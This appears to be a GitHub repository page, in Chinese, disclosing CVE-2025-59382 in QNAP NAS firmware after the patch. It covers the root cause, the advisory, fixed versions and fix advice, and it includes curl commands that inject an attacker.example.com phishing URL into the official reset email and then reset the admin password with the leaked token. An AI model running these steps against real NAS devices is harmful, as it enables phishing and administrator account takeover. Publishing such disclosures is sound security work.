Rat5ak/CVE-2025-59382-QNAP-Password-Reset-Account-Takeover
GitHub: Rat5ak/CVE-2025-59382-QNAP-Password-Reset-Account-Takeover
该项目是针对 QNAP NAS 密码重置 URL 注入漏洞(CVE-2025-59382)的分析文档与 PoC,演示了未经身份验证的攻击者如何通过操纵重置链接实现管理员账户接管。
Stars: 1 | Forks: 1
# CVE-2025-59382:QNAP 密码重置导致账户接管
`/cgi-bin/reset_password.cgi` 中存在无需身份验证的攻击者可控密码重置 URL。
已在实验室环境中针对 QuTScloud `c5.2.4.3041 build 20250211` 进行测试。QNAP 随后在安全公告 `QSA-26-10` 中将其发布为 `CVE-2025-59382`。
## 简短版本
拥有本地网络访问权限,或能够访问暴露的 NAS 管理界面的未经身份验证的攻击者,可以通过操纵 `/cgi-bin/reset_password.cgi` 中 `send_mail` 函数的 `url` 参数,将任意 URL 注入到官方 QNAP 密码重置邮件中。
受害者会收到一封来自 NAS 的真实 QNAP 密码重置邮件。攻击者的 URL 被直接嵌入到 HTML 邮件正文中,并且 QNAP 会将重置 token(`rp`)附加到该 URL 后面。
这使得密码重置邮件变成了一个完美的网络钓鱼到账户接管的攻击链:
1. 攻击者使用自己的 URL 触发密码重置
2. NAS 向受害者发送真实的 QNAP 重置邮件
3. 受害者点击攻击者的 URL
4. 攻击者接收到 `rp` 重置 token
5. 受害者在钓鱼页面中输入验证码(`vc`)
6. 攻击者重置管理员密码并登录
需要受害者交互,但不需要攻击者进行身份验证。
## 触发方式
```
curl "http://:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
```
NAS 会发送官方重置邮件,并将重置 token 附加到攻击者的 URL 后面,例如:
```
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
```
验证码也会在同一封邮件中显示。在实验室的证据中,它看起来像这样:
```
Your verification code is: 2FEA2B8B
```
因此,钓鱼页面只需要向受害者索要验证码即可。当链接被点击时,`rp` token 就已经发送到了攻击者的服务器上。
## 密码重置
一旦攻击者获得了 `rp` token 以及相关的 `vc` 验证码,他们就可以重置管理员密码:
```
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://:8080/cgi-bin/reset_password.cgi"
```
最终的重置请求必须是 POST 方式。受害者在虚假页面上输入的验证码会作为 `vc=
` 发送给 QNAP。
新密码以 base64 编码格式存放在 `new_pw` 中。在 PoC 中,这就足以更改管理员密码并随后以管理员身份登录。
## 漏洞原理
正常的前端流程会构建一个本地的 NAS URL,如下所示:
```
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
```
但后端信任客户端提供的 `url` 参数,而不是自行生成重置 URL。随后,它会使用该值构建邮件链接,并附加以下内容:
```
&u=&rp=
```
它完全信任作为 `url` 传入的任何内容。
## 影响
- 未经身份验证即可触发重置邮件
- 官方 QNAP 邮件包含攻击者控制的 URL
- 受害者点击后,重置 token 会泄露给攻击者
- 验证码可以通过相同的邮件流程进行钓鱼
- 实验环境中的攻击链证实了管理员密码重置和管理员登录
受信任的 NAS 邮件充当了投递媒介。
## 公开状态
- CVE:`CVE-2025-59382`
- 安全公告:`QSA-26-10`
- QNAP 安全公告发布日期:`2026-06-17`
- 厂商 CWE:`CWE-472`
- 厂商 CVSS v4.0:`5.1 中危`
- QNAP 状态:已解决
QNAP 列出的受影响产品包括:
- QTS `5.2.7`
- QuTS hero `h5.2.8`
- QuTS cloud `c5.2.8`
- QVP `2.7.1`
QNAP 列出的已修复版本:
- QTS `5.2.9.3499`
- QuTS hero `h5.2.9`
- QuTS cloud `C5.2.9`
- QVP `2.8.0`
QNAP 将该问题描述为:远程攻击者修改密码重置 URL,诱骗受害者访问攻击者控制的重置页面,从而导致凭证窃取。
我自己的实验室目标是 QuTScloud `c5.2.4.3041 build 20250211`。我在实验室环境中的影响是,在受害者交互后实现了管理员密码重置和管理员登录。
补充说明:我在 `2026-05-09` 于实验室环境中复现了该漏洞,并于 `2026-05-11` 报告给 QNAP;他们将其标记为 `INTSI000-9029` 的重复报告。既然 QNAP 现在已经发布了 CVE/安全公告,我也在此发布 PoC。发现该漏洞的荣誉属于 Tim Coen。
## 修复建议
我不知道 QNAP 使用的确切补丁。他们的安全公告只列出了已修复的版本。
我对于正确修复方案的猜测很简单:不要让浏览器来决定 NAS 重置链接应该指向哪里。
NAS 应该自行构建该链接。如果 QNAP 在流程中仍然需要 `url` 参数,则它应该只接受正常的 NAS 重置页面,并拒绝任何外部的地址。
此外,我还建议对任何放入邮件正文中的内容进行编码,并对未经身份验证的重置邮件请求进行速率限制。
## 参考资料
- QNAP 安全公告:https://www.qnap.com/en/security-advisory/qsa-26-10
- QNAP CVE JSON:https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2025-59382.json
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-59382
- CVE 记录:https://www.cve.org/CVERecord?id=CVE-2025-59382
*Daniel Wade - [GitHub](https://github.com/Rat5ak) · [Twitter/X](https://x.com/Nadsec11) · [Bluesky](https://bsky.app/profile/nadsec.online) · [Mastodon](https://cyberplace.social/@Nadsec) · [Medium](https://medium.com/@Nadsec) · [nadsec.online](https://nadsec.online)* 标签:Cutter, Libemu, Object Callbacks, PoC, QNAP, 多模态安全, 暴力破解, 网络安全, 网络钓鱼, 账户接管, 隐私保护